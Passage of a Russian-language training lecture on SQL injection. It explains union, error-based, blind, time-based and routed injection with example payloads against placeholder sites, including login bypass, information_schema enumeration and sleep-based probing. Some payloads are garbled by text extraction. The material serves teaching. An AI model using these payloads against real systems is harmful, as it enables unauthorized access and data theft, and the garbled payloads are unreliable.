SQL-инъекции
SQL-инъекции
Темы модуля:
SQL-инъекции
SQL-инъекции
SQL-инъекции
Операторы
Операторы
Операторы
Операторы
Виды SQL-инъекций
Виды SQL-инъекций
Виды SQL-инъекций
Виды SQL-инъекций
Виды SQL-инъекций
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Union based sql-injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Blind sql injection
Double blind sql injection
Double blind sql injection
Double blind sql injection
SQL-инъекции
Темы модуля:
Routed sql injection
Routed sql injection
Routed sql injection
Где и как можно использовать SQL-инъекции
Где и как можно использовать SQL-инъекции
Автоматизация SQL-инъекций
Filter Evasion (MySQL)
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации функций и ключевых слов
Обход фильтрации по регулярным выражениям
Обход фильтрации по регулярным выражениям
Обычные техники обхода
Обход с помощью комментариев
Замещение ключевых слов
Кодировка символов
NukeSentinel (Nuke Evolution)
Mod Security CRS
Mod Security CRS
Mod Security CRS
Переполнение буфера
Встроенные комментарии (Только MySQL)
Встроенные комментарии (Только MySQL)
Продвинутые техники обхода
HTTP Parameter Pollution
HTTP Parameter Pollution
Mod Security CRS
Коммерческие WAF
IBM Web Application Firewall
IBM Web Application Firewall
HTTP Parameter Contamination
HTTP Parameter Contamination
HTTP Parameter Contamination
Примеры из реального мира
Примеры из реального мира
DIOS
DIOS
Поиск SQL-injection
Поиск SQL-injection
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Поиск в параметрах HTTP запроса
Пользовательские формы ввода
Пользовательские формы ввода
Пользовательские формы ввода
SQL-инъекции (Cheat Sheet)
Темы модуля:
Обнаружение инъекции
Определение типа базы данных
Обход авторизации
Обход авторизации
Обход авторизации
WAF bypass
Определение количества колонок
MySQL
MySQL
MySQL
MySQL
MySQL
MySQL
MySQL
MySQL
Oracle
Oracle
Oracle
Oracle
Oracle
Oracle
Oracle
MS SQL
MS SQL
MS SQL
MS SQL
MS SQL
MS SQL
MS SQL
PostgreSQL
PostgreSQL
PostgreSQL
PostgreSQL
PostgreSQL
Защита от SQL-Injection
4.14M
Категория: Базы данныхБазы данных

Лекция 3 - SQL-инъекции

1. SQL-инъекции

2.

3. SQL-инъекции

Часть 1

4. Темы модуля:

Операторы
2
Виды SQL-инъекций
3
Union based sql-injection
4
Blind sql injection
5
Double blind sql injection
4
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
1

5. SQL-инъекции

SQL-инъекции – это внедрение в данные произвольного SQL кода. Если произвольная SQL
команда выполняется, то код уязвим и с базой данных можно творить все, что в рамках
привилегий пользователя, под которым выполняются запросы. Главным элементом для
понимания SQL инъекций является знание языка SQL.
SQL (англ. structured query language – «язык структурированных запросов») – декларативный
язык программирования, применяемый для создания, модификации и управления данными в
реляционной базе данных, управляемой соответствующей системой управления базами данных.
SQL является, прежде всего, информационно-логическим языком, предназначенным для
описания, изменения и извлечения данных, хранимых в реляционных базах данных. SQL
можно назвать языком программирования.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
5

6. SQL-инъекции

Изначально SQL был основным способом работы пользователя с базой данных и позволял
выполнять следующий набор операций:
• создание в базе данных новой таблицы
• добавление в таблицу новых записей
• изменение записей
• удаление записей
• выборка записей из одной или нескольких таблиц (в соответствии с заданным условием)
• изменение структур таблиц
Со временем SQL усложнился – обогатился новыми конструкциями, обеспечил возможность
описания и управления новыми хранимыми объектами (например, индексы, представления,
триггеры и хранимые процедуры) – и стал приобретать черты, свойственные языкам
программирования
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
6

7. SQL-инъекции

При всех своих изменениях SQL остаётся единственным
механизмом
связи
между
прикладным
программным
обеспечением и базой данных. В то же время современные
СУБД, а также информационные системы, использующие СУБД,
предоставляют пользователю развитые средства визуального
построения запросов.
Язык SQL представляет собой совокупность:
операторов
инструкций
вычисляемых функций
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
7

8. Операторы

Согласно общепринятому стилю программирования, операторы (и другие зарезервированные
слова) в SQL обычно рекомендуется писать прописными буквами.
Операторы SQL делятся на:
1. Операторы определения данных (Data Definition Language, DDL):
• CREATE создаёт объект БД (саму базу, таблицу, представление, пользователя и т. д.)
• ALTER изменяет объект
• DROP удаляет объект
2. Операторы манипуляции данными (Data Manipulation Language, DML):
• SELECT выбирает данные, удовлетворяющие заданным условиям
• INSERT добавляет новые данные
• UPDATE изменяет существующие данные
• DELETE удаляет данные
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
8

9. Операторы

3. Операторы определения доступа к данным (Data Control Language, DCL):
• GRANT предоставляет пользователю (группе) разрешения на определённые операции
с объектом
• REVOKE отзывает ранее выданные разрешения
• DENY задаёт запрет, имеющий приоритет над разрешением
4. Операторы управления транзакциями (Transaction Control Language, TCL):
• COMMIT применяет транзакцию;
• ROLLBACK откатывает все изменения, сделанные в контексте текущей транзакции
• SAVEPOINT делит транзакцию на более мелкие участки
Разберемся на практике: например, у пользователя имеется файл articles.php, куда он передает
параметр id и в зависимости от значений выводятся разные статьи.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
9

10. Операторы

include('db.php’);
$id = $_GET['id'] ?? 'Пусто’;
if ($connect->connect_error) {
die($connect->connect_errno);
}
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
$query = "SELECT * FROM articles WHERE id = " . $id; foreach
($connect->query($query) as $row) {
echo 'Title: ' .$row['title'];
}
10

11. Операторы

В этом случае мы передаем значение в id и выводится заголовок
статьи, находящийся под соответствующим id. Таким запросом
вместо заголовка, можно вывести версию СУБД id=5’ UNION SELECT null,
version() либо имя БД id=5’ UNION SELECT null, database() и т.д.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Внедрение произвольного запроса с возвращение названия БД
11

12. Виды SQL-инъекций

SQL-инъекции возникает в местах, где есть входящие данные, и эти входящие данные никак
не фильтруются. Исходя из этого, можно понять, что в большинстве случаев, найти
SQL-инъекции очень легко. Просто тыкаем во все поля и параметры, одинарные
или двойные кавычки.
SQL-инъекции разделяются на:
несколько видов:
1. По типу переменной:
• числовой параметр. В этом случае, параметр не обрамлен кавычками:
SELECT * FROM articles WHERE id = $id
Подставив лишнюю кавычку, можно увидеть такую ошибку:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds
to your MySQL server version for the right syntax to use near '1''.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
12

13. Виды SQL-инъекций

Если этой ошибки нет, может быть 3 варианта:
• кавычки фильтруются
• вывод ошибок выключен, т.е. есть слепая инъекция
• инъекции нет
Если отчет об ошибках выключен, то можно к запросу добавить знак – и вывод будет таким же,
как в начале.
Строковый параметр. Параметр обрамлен кавычками.
И если добавить кавычку, то запросы будут выглядеть таким образом:
SELECT * FROM articles WHERE id=‘1‘’
Это означает, что синтаксис и логика SQL запроса нарушена и будет ошибка: mysql_query(): You
have an error in your SQL syntax check the manual that corresponds to your MySQL server version for
the right syntax to use near '1''. А если отчет об ошибках выключен, то можно добавить ‘1-- и ответ
будет такой же, как в начале (-- после двух тире, все что идет дальше в запросе, отбрасывается).
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
13

14. Виды SQL-инъекций

Авторизация. В этом случае уязвимыми могут быть 2 поля - поле login или pass.
При наличии уязвимости, можно авторизоваться, имея только login. Например, изначальный
запрос выглядит так: SELECT * FROM users WHERE login='admin' AND pass='password’.
И теперь в параметр login можно передать аdmin' --, запрос будет теперь
выглядеть так: SELECT * FROM users WHERE login='admin' -- ' AND pass='password' и все,
что идет после аdmin, отбрасывается. В случае, если уязвимость в параметре pass,
то можно отправить password’ OR login=’admin’ -- и такой запрос будет идентичен такому
и позволит авторизоваться SELECT * FROM users WHERE (login='Admin' AND pass='123’)
OR (login='Admin’).
Оператор LIKE. Этот оператор в SQL служит для сравнения строк. В таком случае, доступ
через авторизацию можно получить, даже если нет инъекции. Вместо пароля нужно просто
ввести “%”, для оператора LIKE знак процента соответствует любой строке, и запрос будет
выглядеть так: SELECT * FROM users WHERE login LIKE 'admin' AND password LIKE '%' и
произойдет авторизация с логином admin.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
14

15. Виды SQL-инъекций

2. По типу SQL-инъекций:
• Union-based. Этот тип самый популярный и встречается чаще всего. Команда UNION
объединяет два запроса в один. И так образом позволяет злоумышленнику вывести
информацию из любой таблицы в базе данных. Например, таким запросом “-1 UNION
SELECT 1, database()” определяют количество столбцов в таблице, и на месте вывода
второго столбца, выводится имя базы данных. Таким же образом можно вывести любое
содержимое и другую полезную информацию
• Error-based. В случае, если командой UNION не удается получить данные, то прибегают к
типу error-based. Используя данный тип, данные из базы можно вывести, искусственно
вызывая ошибки. Например, с помощью запроса: SELECT COUNT(*) FROM (SELECT 1
UNION SELECT 2)x GROUP BYMID(VERSION(), FLOOR(RAND(33)*2), 64) в отчете ошибки
выведется Duplicate entry '5.5.25-log' for key 'group_key’
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
15

16. Виды SQL-инъекций

• Blind-based. Если данные из базы данных не получается вывести с помощью UNION,
а также не выводится никаких ошибок, то скорее всего это слепая инъекция. В этом случае,
остается только 1 вариант, получать информацию с помощью false и true, т.е. если ответ
пустой, то значит false, если не пустой, то true. Поэтому, в таком случае, информация
из базы данных достается посимвольно, например с помощью таких команд: id=1' and
Ascii(substring((Select user()),1,1))>97 --. Но, так как так прогонять каждый символ долго,
то пишется скрипт, который выводит информацию посимвольно в автоматическом режиме
или это можно сделать с помощью утилиты sqlmap. Такой способ вывода информации
называется бинарным поиском
• Time-based. Этот вид инъекции достаточно сложный и не понятно, есть инъекция или нет.
Ни один из выше описанных способов тут не помогает. Но и в этом случае есть выход,
это использование временных задержек. Например, id=1' and if (Ascii(substring((Select
user()),1,1))>97, sleep(10),0) --. Принцип работы такой же, как и в Blind- based, т.е. где сервер
будет отвечать 10 секунд, то это true иначе false
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
16

17. Union based sql-injection

UNION based sqli – является самой простой и распространенной инъекцией. Из названия
понятно, что данный тип использует ключевое слово UNION при эксплуатации. Рассмотрим
это более подробно.
Использование UNION позволяет объединять результат нескольких запросов в одну таблицу.
В общем виде использование UNION выглядит так:
<запрос 1> UNION [ALL] <запрос 2> UNION [ALL] <запрос 3> ...
• <запрос N> – это обычный sql запрос
Например: SELECT id, user FROM users WHERE id = 1
• UNION [ALL] – само ключевое слово, где «[ALL]» необязательный аргумент,
который говорит, использовать ли дублирующие записи в результирующей
таблице или нет
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
17

18. Union based sql-injection

Особое внимание надо уделить двум моментам:
1. У всех запросов, объединяющих UNION, должно быть одинаковое количество столбцов
в запросе. Другими словами, если <запрос 1> = «SELECT id, user FROM users WHERE id = 1»,
то и <запрос 2> = «SELECT user, passwd FROM passwds WHERE id = 1»
2. У всех запросов, объединяющих UNION, должно быть полное совпадение типов столбцов.
Иначе говоря, если мы возьмем пример из пункта 1, то тип поля id должен совпадать с типом
поля users из второго запроса. Соответственно тип users из первого запроса должен
совпадать с типом passwd из второго.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
18

19. Union based sql-injection

Пусть есть две таблицы:
Table1: (user – varchar(25); value – int; date – date())
User
Value
Date
Adam
1200
20180912
Yorik
2000
16010101
User
Value
Description
Adam
300
Some descr for adam
Ban
1000
Some descr for ban
Kris
570
Some descr for kris
Yorik
2000
Some descr for yorik
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Table2: (user – varchar(25); value – int; description – text)
19

20. Union based sql-injection

Проверим различные варианты использования UNION:
Запрос вида:
SELECT user, value FROM Table1 UNION SELECT user, value FROM Table2
Вернет следующее:
User
Value
Adam
1200
Yorik
2000
Adam
300
Ban
1000
Kris
570
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
20

21. Union based sql-injection

Разберем подробнее:
Первая часть запроса ДО UNION возвращает:
User
Value
Adam
1200
Yorik
2000
Вторая часть запроса ПОСЛЕ UNION возвращает:
Value
Adam
300
Yorik
2000
Ban
1000
Kris
570
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
User
21

22. Union based sql-injection

И в первом и во втором результате есть одинаковые строчки:
User
Value
Yorik
2000
А так как используется UNION, то дубликаты не попадут
в результирующую таблицу. В результате чего получаем
наш результат.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
22

23. Union based sql-injection

Но если использовать UNION ALL:
SELECT user, value FROM Table1 UNION ALL SELECT user, value FROM Table2
То в результирующую таблицу войдут все запись как первого запроса, так и второго,
включая и дубликаты:
User
Value
Description
Adam
1200
Some descr for adam
Yorik
2000
Some descr for yorik
Adam
300
Some descr for adam
Ban
1000
Some descr for ban
Kris
570
Some descr for kris
Yorik
2000
Some descr for yorik
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
23

24. Union based sql-injection

Далее. Запрос вида:
SELECT user, value FROM Table1 UNION SELECT value FROM Table2
Не вернет результата т. к. первый запрос ДО UNION возвращает таблицу с двумя столбцами,
а второй запрос ПОСЛЕ UNION таблицу с одним столбцом. Произойдет ошибка.
Запрос вида:
SELECT user, date FROM Table1 UNION SELECT user, description FROM Table2
Также не вернет результата, несмотря на то, что количество столбцов первого запроса равно
количеству столбцов второго. Так как в первом запросе столбец date имеет тип Date() – дата,
а во втором запросе столбец description имеет тип text, то sql не сможет связать данные
разных типов и выдаст ошибку.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
24

25. Union based sql-injection

Рассмотрим, каким образом будет проходить инъекция.
Пусть есть две таблицы:
Users: (id – int primary key not null; user — varchar(25) not null)
Id
User
1
Admin
2
Kamito
3
Vasilisa
Id
Sid
Date
Log
1
1
2018-09-11
https://example.com/forums/
2
1
2018-09-12
https://example.com/ctf-zone.199/
3
3
2018-09-12
https://example.com/forums/svobodnoe-
4
2
2018-09-13
https://example.com/resources/
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
25

26. Union based sql-injection

Пусть $id равен 1. В адресной строке это может выглядеть так:
https://example.org/logs.php?id=1
Тогда запрос должен вернуть таблицу вида:
Admin
https://example.com/forums/
Admin
https://example.com/forums/ctf-
Каким же образом можно использовать UNION. Пусть таблицы хранятся в MYSQL.
Тогда первый делом с помощью UNION выясним, какие таблицы хранятся в базе.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
26

27. Union based sql-injection

https://example.org/logs.php?id=1 UNION SELECT TOP 10 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES-Далее можно получить имена колонок в уже известных таблицах.
https://example.org/logs.php?id=1 UNION SELECT TOP 10 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMS WHERE TABLE_NAME="some table name"-Таким образом, узнав все, что нам необходимо, можем провести последнюю инъекцию:
https://example.org/logs.php?id=1 UNION SELECT Users.user, Logs.log FROM
Users, Logs WHERE Logs.sid = Users.id
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
27

28. Union based sql-injection

В итоге получим следующую таблицу:
Admin
https://example.com/forums/
Admin
https://example.com/forums/ctf-zone.199/
Vasilisa
https://example.com/forums/svobodnoe-obschenie.1/
Kamito
https://example.com/resources/
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
28

29. Blind sql injection

Blind sql injection (или слепая sql инъекция) – это тип, при котором нельзя увидеть ответы
ошибок на странице. Различают два вида слепых sql инъекций:
• normal blind – нельзя увидеть ответ на странице, но его можно определить из анализа http
• totally blind – никакой разницы в результате в любом виде
При эксплуатации normal blind чаще всего используют IF и различные варианты WHERE.
А для эксплуатации totally blind используют специальные функции для анализа времени
при отправке запроса и называют это time based sql injection.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
В итоге все сводится к анализу ложных или истинных ответов, тем самым выуживая
информацию посимвольно.
Totally blind будет рассмотрена в другом разделе этого урока, а сейчас рассмотрим на
примерах Normal blind инъекции.
29

30. Blind sql injection

Начнем с того, что поймем, каким образом можно определить слепую sql инъекцию.
Все определение сводится к анализу на изменение логики.
Пусть есть уязвимый сайт:
http://example.com/news.php?id=1
Этот запрос возвращает на страницу новость с id равном 1. Напомним, что это слепая
инъекция, поэтому всякого рода подставления кавычек и прочего не дадут результата.
В БД происходит выборка по следующему запросу:
SELECT title, descr, body FROM news WHERE id = $id
Естественно $id — это то, что передает пользователь.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
30

31. Blind sql injection

Если мы отправим строку вида:
http://example.com/news.php?id=1 and 1=1
То на странице отобразится та же новость, что и раньше. Но если мы добавим:
http://example.com/news.php?id=1 and 1=0
То результирующий запрос изменится:
SELECT title, descr, body FROM news WHERE id = $id AND 1=0
Он никогда не выполнится и поэтому на странице не отобразится новость. Это должно
послужить сигналом о том, что перед нами blind sql injection.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
31

32. Blind sql injection

Так же для определения инъекции могут помочь следующие пейлоады:
AND true
AND false
'AND true -'AND false -'AND true %23
'AND false %23
Теперь научимся эксплуатировать данную уязвимость
Пусть мы работаем в MySQL и будем использовать его синтаксис.
Один из способов эксплуатации также сводится к анализу на изменение логики. Вместе с этим
будем использовать функции ASCII('[some symbol]') и substring([some string], 0, 1).
Рассмотрим, что каждая из этих функций делает, какие аргументы принимает и какой результат
выдают.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
32

33. Blind sql injection

ASCII([some symbol]) – функция возвращает код символа по ASCII. Например, ASCII('a') вернет 97.
substring([some string], [start symbol], [count symbols]) – возвращает подстроку из строки.
Первый аргумент принимает строковый тип, пусть это будет ‘hakers.net'. Второй аргумент
это целочисленный тип > 0, отвечающий, с какого символа брать подстроку. Третий аргумент также
целочисленный > 0 который определяет сколько символов взять после того, какой выбран вторым
аргументом. Рассмотрим
substring('hakers.net', 1, 1) — вернет h
substring('hakers.net', 2, 1) — вернет a
substring('hakers.net', 3, 1) — вернет k
substring('hakers.net', 4, 1) — вернет e
substring('hakers.net', 5, 1) — вернет r
substring('hakers.net', 6, 1) — вернет s
substring('hakers.net', 7, 1) — вернет .
substring('hakers.net', 8, 1) — вернет n
substring('hakers.net', 9, 1) — вернет e
substring('hakers.net', 10, 1) — вернет t
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
33

34. Blind sql injection

Теперь рассмотрим, как все это можно использовать. Суть заключает в том, чтобы использовать запрос,
который возвращает одну строку и, перебирая эту строку посимвольно, угадывать, как она выглядит.
Попробуем узнать имя таблицы:
SELECT title, descr, body FROM news WHERE id = $id AND ASCII(substring((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() limit 0,1), 1, 1))>97
Рассмотрим подробнее. Внутри функции substring первым аргументом помещен запрос вида:
SELECT table_name FROM information_schema.tables
WHERE table_schema=database() limit 0,1
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
34

35. Blind sql injection

Прочитать его можно так:
SELECT table_name – выдай название таблицы
FROM information_schema.tables – из БД метаданных по таблицам
WHERE table_schema=database() – выбрав те, которые принадлежат текущей БД
Limit 0,1 – в количестве одной штуки
Таким образом, весь запрос вернет строку, содержащую название таблицы. Но этого мы не увидим, ведь
у нас слепая инъекция.
Далее название полученной таблицы попадает в функцию substring, которая благодаря оставшимся
аргументам 1, 1 возвращает один первый символ названия этой таблицы.
После чего этот символ передается функции ASCII, которая как мы уже знаем, переводит его в код.
В итоге весь запрос можно переписать так:
SELECT table_name FROM information_schema.tables
WHERE table_schema=database() limit 0,1
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
35

36. Blind sql injection

Где X – это код первого символа названия какой-то таблицы из текущей базы данных. Далее идет анализ
логики. Сравнивается полученный код символа с кодом 97. Как мы уже знаем код 97 это символ «a».
Таким образом, если вдруг X > 97 вернет true, то мы поймем что название полученной таблицы
начинается НЕ на «a», а если вернет false, то скорее всего название таблицы начинает на «a». А понять
вернулось ли true или false можно по странице, появилась ли новость или пропала.
Если вернула true, то изменяем запрос на:
SELECT title, descr, body FROM news WHERE id = $id AND ASCII(substring((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() limit 0,1), 1, 1))>120
Если этот запрос возвращает false, то изменяем в меньшую сторону:
SELECT title, descr, body FROM news WHERE id = $id AND ASCII(substring((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() limit 0,1), 1, 1))>110
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
36

37. Blind sql injection

Таким образом, в какой-то момент мы точно узнаем, каким символом начинается название таблицы.
Далее изменяем второй аргумент функции substring, увеличивая на единицу, тем самым будет
выбираться второй символ имени таблицы. И аналогичным образом выясняется и он.
И так до тех пор, пока не выудим все таблицу.
Второй способ заключается в использовании таблицы для тестирования «dual» и оператора like.
Оператор like — это оператор сравнения, в котором можно использовать подстановочные
символы, например, такие как %, обозначающий строку произвольной длины или «_»,
обозначающий произвольный символ.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Например ‘example.com' like '%by.%' - вернет true . т. к. «by.» слева можно дополнить строкой «code»,
а справа «com» и получить строку, с которой сравнивают. Если же выражение было вида 'example.com’
like 'by.%', то оно вернуло бы false, т.к. просто подставляет любую строку только справа от «by.» никак
не получить «example.com».
Подстановочный же символ «_» можно использовать аналогично, если знаешь длину. Например, тот же
самый пример 'example.com' like '%by.%' можно переписать так 'example.com' like '_ _ _ _by._ _ _’ .
Если же убрать хоть один символ «_» то выражение вернет false.
Применим это на практике.
37

38. Blind sql injection

Для начала выясним текущую базу данных:
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE database() like '%o%')
Таким образом, если имя базы данных будет содержать букву «o», то запрос вернет true. Так мы проверим
из каких символов состоит имя базы данных. Далее выясним, какая длина у имени БД с помощью следующего
запроса.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE database() like ' ')
Если имя состоит из пяти символов, то запрос вернет true, если же нет, то увеличиваем количество знаков «_»
до тех пор, пока не получим true.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
38

39. Blind sql injection

В конечном итоге проверяем, правильно ли найдено имя БД.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual WHERE database() =
'some_name_db')
Если такой запрос вернет true, то значит имя БД найдено верно.
Теперь можно приступать к выуживанию имена таблиц через содержащиеся в них столбцы.
Например:
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT column_name FROM information_schema.columns
WHERE table_schema = database() and column_name like '%user%' limit 0,1) like '%')
Если имя состоит из пяти символов, то запрос вернет true, если же нет, то увеличиваем количество
знаков «_» до тех пор, пока не получим true.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
39

40. Blind sql injection

Разберем подробнее: запрос состоит из двух вложенных.
SELECT table_name FROM information_schema.tables WHERE table_schema = database() and
column_name like '%user%' limit 0,1
Его можно прочитать так:
SELECT table_name – выдай мне имя таблицы
FROM information_schema.columns – из БД метаданных по колонкам
WHERE table_schema = database() – где БД равна текущей
and column_name like '%user%' – и эта таблица содержит столбце, содержащий слово «user»
limit 0,1 – в количестве одного
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Если в текущей БД есть таблица, в которой есть столбец, содержащий в имени «user»,
то этот запрос вернет имя одной из таких таблиц
40

41. Blind sql injection

Пусть имя такой таблицы X_table_name.
Далее имя таблицы попадает в запрос выше:
SELECT 1 FROM dual WHERE X_table_name like '%'
Этот запрос просто проверяет, вернул ли внутренний запрос строку или нет. Если да, то весь запрос
вернет true, если нет, то вернет false.
Теперь можно начинать узнавать имя этой таблицы, используя уже известные методы.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns
WHERE table_schema = database() and column_name like '%user%' limit 0,1) like '_ _ _ _')
Самый внутренний запрос никак не изменился. Он все также возвращает имя таблицы.
41

42. Blind sql injection

Вот следующий:
SELECT 1 FROM dual WHERE X_table_name like ' '
Проверяет: если имя таблицы равно четырем символам, то весь запрос вернет true, в противном случае
false. Тогда увеличиваем на один символ «_» и снова смотрим результат.
Дальше, опять же, уже известными методами узнаем из чего состоит имя таблицы.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema = database()
and column_name like '%user%' limit 0,1) like '%o%')
42

43. Blind sql injection

Снова самый внутренний запрос все так же возвращает имя таблицы, а следующий за ним:
SELECT 1 FROM dual WHERE X_table_name like '%o%'
Просто проверяет, входит ли в состав имени таблицы символ «o». Таким образом перебираем варианты,
а в конце проверяем найденный вариант.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema = database()
and column_name like '%user%' limit 0,1) like 'users')
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Как видите эксплуатировать слепую sql инъекцию достаточно трудоемко.
Но есть способы, позволяющие автоматизировать процесс. Такой метод будет описан в разделе
time base sql injection этого урока.
43

44. Double blind sql injection

Double blind sql injection (она же Time-based sql injection, она же абсолютно
слепая sql инъекция). Бывают случаи, когда не только вывод ошибок нам
не доступен, но и сам sql запрос используется для каких-нибудь внутренних
работ. Например, журналирования событий или оптимизации. Этот вид
инъекции достаточно сложный и непонятно, есть инъекция или нет.
Для определения уязвимости используется метод ложных и истинных
запросов, вызывающих задержки выполнения, а для эксплуатации
посимвольный перебор с использованием временных задержек.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Отсюда и его название. Другими словами, нужно сформировать запрос
с использованием функций, которые приостанавливают выполнение запроса.
Если при подстановке запрос выполняется мгновенно, то это значит, что
запрос не сработал. Если задержка произошла, то запрос выполнился.
44

45. Double blind sql injection

Пример определения:
id' and sleep(10) --
Пример эксплуатации:
id=1' and if (Ascii(substring((Select user()),1,1))>97, sleep(10),0) --
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Обратите внимание на функцию sleep(10). Это та самая функция для задержки выполнения запроса, в
конкретном примере на 10 секунд. Т.е. если страница загрузилась спустя 10 секунд, то у нас есть
уязвимость.
45

46. Double blind sql injection

Разберем пример эксплуатации подробнее:
substring((Select user()),1,1) – сначала sql запрос возвращает строку с
результатом. Потом функция substring возвращает первый символ этой
строки;
Ascii(substring((Select user()),1,1)) – возвращает код символа по ASCII;
код 97 соответствует символу “a” латинского алфавита. Все что ниже этого
кода не будет являться символом латинского алфавита. Поэтому мы
проверяем, является ли первый символ запроса буквой.
далее если является, то функция sleep приостановит работу выполнения
на 10 секунд. Именно благодаря этому мы и понимаем, что инъекция
прошла.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
В этой части урока вы познакомились с синтаксисом языка SQL, с помощью
которого функционирует большинство баз данных. На примерах увидели,
что из себя представляют sql инъекции. Поняли, каким образом получаются
уязвимости подобного рода. Увидели, на какие типы делятся sql инъекции,
разобрали основные. В следующей части разберёмся с более продвинутыми
техниками, научимся обходить waf, выводить все данные базы лишь одним
запросом, а также узнаем, где и как их искать.
46

47. SQL-инъекции

Часть 2

48. Темы модуля:

Routed sql injection
6
Продвинутые техники обхода
2
Где и как можно
использовать SQL-инъекции
7
HTTP Parameter Contamination
3
Автоматизация SQL-инъекций
8
Примеры из реального мира
4
Filter Evasion (MySQL)
9
DIOS
5
Обычные техники обхода
10
Поиск SQL injection
48
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
1

49. Routed sql injection

Routed sql injection, она же маршрутизируемая sql инъекция. Это ситуация, при которой
sql инъекция не дает результата, но этот запрос указывает на место, через которое можно
инициировать еще одну инъекцию, которая уже приведет к результату. Другими словами,
можно сказать, что это инъекция в инъекции. Рассмотрим на теоретическом примере.
Допустим, есть уязвимость на сайте:
http://example.com/index.php?id=1
И предположим, при проверке выяснилось, что используются три колонки, а сама инъекция
выглядит следующим образом:
http://example.com/index.php?id=1' union select 1,2,3 -Но когда вы выполняете запрос, то не получаете никакого результата. Пустая страница. Казалось бы,
инъекция есть, ее вывели, но результата она не дает. Вот в этот момент стоит подумать про routed sql
injection.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
49

50. Routed sql injection

Попробуйте вместо каждого номера столбца поочередно подставлять строку следующего вида:
"n'"
Где n – номер столбца. В итоге должна появиться ошибка, говорящая о синтаксической ошибке
в запросе sql. С этого момента становится известно место, куда надо произвести еще одну
инъекцию для получения результата.
Допустим, выяснили, что таким местом является столбец 2. Тогда запрос для обнаружения
будет выглядеть так:
http://example.com/index.php?id=1' union select 1,"2'",3 -Теперь остается только подобрать правильный вид запроса для второй инъекции. Далее выяснили,
что во второй инъекции нам доступно 4 колонки.
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
50

51. Routed sql injection

Тогда инъекция будет выглядеть следующим образом:
http://example.com/index.php?id=1' union select 1,"2' union select 1,2,3,4",3 -При таком запросе должен появиться результат на странице и можно начинать выгружать
данные.
